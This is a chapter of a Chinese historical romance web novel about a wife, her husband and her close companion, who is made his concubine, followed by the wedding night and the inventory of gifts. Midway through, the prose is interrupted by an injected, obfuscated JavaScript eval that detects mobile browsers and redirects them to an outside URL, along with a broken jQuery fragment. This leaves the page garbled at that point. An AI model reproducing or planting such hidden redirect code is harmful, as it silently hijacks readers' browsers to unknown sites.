“长公主有心抬举纤纤，赞善不愿意就算了，何苦把梵烟推到风口浪尖、替她招惹些虎视眈眈！”
澜序见家主、主母议事，歆荣又脸色冰冷，哪敢出头，上了两盏茶，忙不迭脚底抹油溜了。
薛盟默然听她训罢，方才开口：“夫人所虑甚是。只是我本意爱重梵烟姑娘，席间所说亦是肺腑之言，绝非全为搪塞母亲。碍于姑娘心意未决，不敢逼迫，原当徐徐图之，无奈母亲定要为纤纤讨个名分——纤纤年长，兼是长辈赐予，若再在次序上越过梵烟，梵烟往后不是处处受制于人？”
好个肺腑之言。歆荣心中冷笑：依旧这般巧言令色，腹内不知还有多少花花肠子：“我自然不敢与殿下挺腰子，可梵烟在我身边，终归不会叫她受委屈，无论她是何种身份。”
薛盟适才也是一时情急，深知欠妥，眼下怎好辩驳？不过皆依歆荣之言而已。
歆荣发了一通火，也明白木已成舟，转圜不得。懒得久留，站起身来：“赞善且请歇着吧。如今也不必再操之过急了，只须赶在年里，沾沾纤纤姑娘的光，好生办一场酒。”
临走，她按捺不住，正色望住薛盟：“梵烟的身契我早给了她，不承望家主抬她做贵妾，可好歹也是良妾。”
薛盟有口难言，敛眉听着，一面挑了灯送她出来。
歆荣气盛过后，身心俱疲，不耐烦再敷衍他，回绝了他继续相送，自回内院。
正房里灯火尚明。歆荣心下一动，急于去看梵烟。掀开门帘，迎上来的却是七巧，一面帮她解斗篷，一面向内室扬了扬下巴：“突然说心口难受，到里头躺下了。”作势又让八红端热茶。
歆荣顾不上旁的，拂开珠帘，就见梵烟挨着熏笼和衣侧卧。暗叹一声，上前握了握她的肩头：“你都知道了？”
梵烟瓮声一“嗯”，翻身面朝着歆荣，坐起来勉强笑道：“晚间吃的杂了，才觉得些微不受用，躺一躺已经好了。”
此时再多安慰也是不痛不痒，轮到歆荣沉默下来。
反而梵烟看得透彻：“我能陪着你到这府里来，原就是家中二老安排的。家主既和气，也不朝三暮四，还有什么不足意？”
心口痛成了一种时疫，顷刻侵袭到歆荣。她攥紧了远离梵烟的那只手，指甲微微陷进掌心，激出一层薄汗。旋即，她用力拥住了梵烟：
“不足意的地方还多。你不是陪嫁奴婢，你是我的妹妹，我带你来这地方，不是要两个人一块儿吃苦受委屈的。他薛盟和气？不朝三暮四？这些不过是做人的本分！你在他跟前不必气短分毫。什么名分、什么次序，都是虚的，只要我在一日，谁都越不过你去！谁都伤不着你一指头！”
羊脂蜡烛蜿蜒泪落，静静尘封在玻璃灯罩之中。
焰火轻一摇曳，折出几分绚丽，再定睛看时，烛身已披上绯色。
纳妾亦要过府衙、立文书，不过礼仪降格，也不点龙凤蜡烛。薛盟不知从哪里弄来这东西，不伦不类的。
梵烟开了脸、上了脂粉，但觉整个人掩在厚厚的面具内，木木的，不大有悲喜。
没有盖头，珍珠帘儿挡在面前，火光熠熠的，恰似头里去拜歆荣时，挂在内室的那挂帘子。
兀自神游之际，房门打开，薛盟走进来，先前那身宝蓝圆领袍忽换作了大红麒麟服。
“方才不慎洒了些酒在衣裳上，我推说更衣，得以脱身回来。”
摆几桌家宴原不请亲友，但薛盟一向交友甚广，闻说喜信儿，如何不来凑热闹？
梵烟点了点头，一时无言。珠帘儿晃了两晃，轻微动静也听得清。
薛盟挨着她，也在床沿坐下，一面俯身过来，仰脸打量她的脸色：“姑娘还恼我呢？”
梵烟被他这副姿态闹得大不自在，往后退了两退，珠挂儿乱摇：“没有。”
“我替你将这东西取下？怪碍事的。取了也好吃点东西。”
他有意做小伏低，梵烟又何必拿乔？由着他伸手过来，摘了面帘，鬓发被勾散了几丝，薛盟下意识掠了掠，随即才像被烫着了似的，蜷起指尖。
慌张之余，犹泛出些许窃喜。借着将珠串搁在一旁螺钿小几的工夫，他佯自镇定地站起身，走到桌前一瞧，皆是中看不中吃的菜色，唯图个意头吉利而已。又揭开旁边的温碗，见是燕窝粥，心道：这还罢了。
执起玉勺，舀了半碗，不急着端，回身问梵烟：“加糖还是加蜜？”
梵烟摘了珠帘，始觉视线骤然清明许多，却看不懂他背对着她在忙活什么。听见这句，不由愣了一愣，方说：“温温热热的就好，什么也不搁。”
薛盟应了一声，又用手背试了试碗壁温度，这才捧到她面前。
碗小，他手又大，梵烟接也不便接，两个人一时都笨手笨脚起来。僵持片刻，后知后觉旁边还有一张小几，薛盟将碗搁上去，轻轻推到梵烟面前：“小心烫。”侧身在近旁的绣墩上坐了，未再坐回床沿。
梵烟被他专心致志地等候着，吃也不是，不吃也不是。捧了碗，只拿小瓷勺儿缓缓搅着，清润的粥米香袅袅散开，再要赌气仿佛也积聚不起来了。
她低头，浅抿了一口，四肢百骸都舒展许多，不必继续严阵以待。
洋红雕花烛芯结了又爆，薛盟静凝着跃动的焰火，偶而目光扫过她低垂的眉睫，倏尔移开，不忍扰了这难得的温情。
角落里的玳瑁西洋钟“嗡嗡”摆起锤来，已经三更了。梵烟主动开口：“家主早些歇息吧。”
薛盟闻言颔首，起身时又笑：“你知我表字，往后叫誓之就是，不必外道。”未等梵烟答复，自往外间安置。
梵烟听着他开大柜子取被褥，尽力放轻动作后的窸窣声，本应畅然舒怀，未料一口气松过，胸中仍残留着几分滞涩，叫人难以自如。
她卸了钗环、洗了脂粉、散了发髻，拨下床架两边的鎏金钩，大红云锦鸾凤和鸣幔帐笼罩下来，舍予她一方小小天地。她陷入流水般轻且滑的茵褥里，喜庆繁复的图案镶嵌进她光怪陆离的梦。
睡得不沉，翌日蒙蒙昧昧揭被欲起时，却似遭千斤磐石压身，拼尽全力也推不开。挣扎得出了汗，喉头一声抽泣，方逃脱梦魇，张眼一看，不过是满床艳色太浓厚，热得难受。
“怎么连汗都出来了？”熟悉而轻快的声口传来，几乎让梵烟忘记了今夕何夕——九莺和十锦都被歆荣派到了她身边——“家主早起身了，外头有公干。”
九莺一边拿手绢给梵烟擦汗，一边低声道：“收拾床被的时候只有我和十锦在，你放心，不会再有旁的人知晓。夫人说了，今日轮到纤纤给她见礼敬茶，你且不忙过去。”
梵烟怔怔的，只是望着九莺的脸儿，片刻才像听进去了，自己拢了拢头发，披衣服下床。
九莺忙要伺候着她穿鞋，梵烟停下来，说：“纵然在旁人眼里，我得了抬举，身份变了，可私底下咱们这些人在一处，还是同从前一样，你们别心里远了我。”
“这个是自然。”十锦端着温水进来，笑道：“如今当了二等丫头，提水拎饭的活儿也有人替我做了。可见凡事总不会半点儿好处都没有。”
她说话向来直率，并无宽解人的天赋，但梵烟到底莞尔一瞬，九莺瞧着，心里也不禁稍稍放心：“不让我们动手，难道你一个人三头六臂，里里外外都调度完了？”
待梵烟自己洗漱过，乖乖由九莺扶着坐到妆台前，梳了个家常发髻，簪了一双金镶玉灵芝簪。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170727|179447||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
梵烟从镜子里瞥见自己身上的藕荷色袄儿，陌生之感倒比昨日略减。因对九莺说：“既然得闲，待会儿吃过饭便把床铺换了。”
九莺知她心思，答应着，又说：“织绣品夫人给了两三箱，不用大红的，也可挑几样鲜焕颜色。另外家主也给了好些物件儿，还没仔细归置，不如一道理出来？”
梵烟掩耳盗铃的这一阵，收房的大小事宜全不理会。院子是歆荣选的，陈设是薛盟定的，就连昨儿的正经章程如何，她都只管听之任之——自欺欺人再久，总有要面对的时候。
于是移来蝶几，三个人一道用饭。梵烟执起银箸，却没甚胃口。昨夜燕窝粥的温热尚存唇齿间，与眼前的甘脆肥醲并不相宜。
囫囵应付过五脏庙，便来整理屋子。从前将纤纤接到西跨院安置时，从没想过有朝一日与她做了邻居。两下一样格局的三间房，梵烟这边单开了一道后门，可抄近路过正院，故而白多得一处小小天井，栽着冬青、山茶等花木。
十锦走过来：“这里背风向阳，倒是个晒衣裳的好地方。”说着果然挪了两张条凳过来。
九莺笑道：“你先别急。如今这些料子俱是新得的，尚且无需晒它。且搬个杌子来，将几口箱子里的东西分门别类清点出来，我来造册，梵烟姐姐过目——正好考校考校我管事的本领。”
梵烟一抿嘴：“你的本事我当然放心。只是凭咱们三个人，不是理到明年去都理不完？何如再找几个帮手？”
九莺摇摇头：“家主和夫人赏东西来时都有单子。内院这边我看着七巧列的，再揪细不过；前院办事的纵粗疏些，实也离不了大格，究竟不难梳理。如今咱们这里虽配有两房人差使，但各自品性暂不可知，更难保不与谁沾亲带故，终究人多眼杂，不该把家底儿全露出来。”
梵烟听她样样周到，不禁道：“夫人真心疼我，把你们俩派到我身边。”
“你感念夫人是应当的。”九莺将笔墨账簿都摆好，“我和十锦也只感念夫人——说句不怕你恼的话，在正院时，有你和七巧两个人镇在上头，我这辈子都别想升发，如今才叫趁愿呢！”
九莺所料不差，天初擦黑时，一屋子的东西都造册归类了：歆荣赠的金、点翠、珍珠、宝石全套头面，零散的璎珞、钏镯、环珰、约指，赏人的荷包、金银锞子；冬季的毛料、羽缎、斗篷、雪褂、昭君套、手筒子、羊皮靴；待裁的整匹蜀锦、漳绒、织金缎；床上的云锦缂丝幔帐、枕被，地上的大幅栽绒毯，妆花的桌围、椅披；鎏金的盥盆、唾盒，白玉的香盒、珐琅水瓶；象牙、犀角、冻石的碗、盘、碟、杯、匙、箸；中外各色香料：端砚、徽墨、宣纸、湖笔……
十锦起先还边理边咋舌，到后头也颇有点见惯不惊的意思了。九莺比她有见识些，小心卷起最后一幅《秋林野兴图》，玩笑说：“这画可别叫七巧看见。她想这画想了好一阵了，连临摹都不敢开口，偏生夫人就给了你，恐怕她写单子时心都在滴血。”
梵烟想了一想，罕见地吝啬起来：“那就收好了，惟愿她忘掉之前别来我这儿。”
正说话间，隐约听见外头一阵喧闹，十锦活动了下手脚，正要出去看，被九莺拦下了：“必是那边要备饭备水了，没什么稀奇。”
梵烟早知纤纤自设了一处炉灶，便于平素做些体己羹汤，歆荣亦是随她的意思。只今晚算是她的新婚夜，大厨房同样提前预备了酒宴，难不成她另有巧心？
或许像她那样，才配得上薛盟又是洋红蜡烛、又是麒麟赐服的一番心思。
横竖不与她们相干。更换后的芙蓉帐褥恰合梵烟的意，干脆早早歇下，明日好去见歆荣。
次日却听说，因太子有差遣，薛盟宿在了东宫。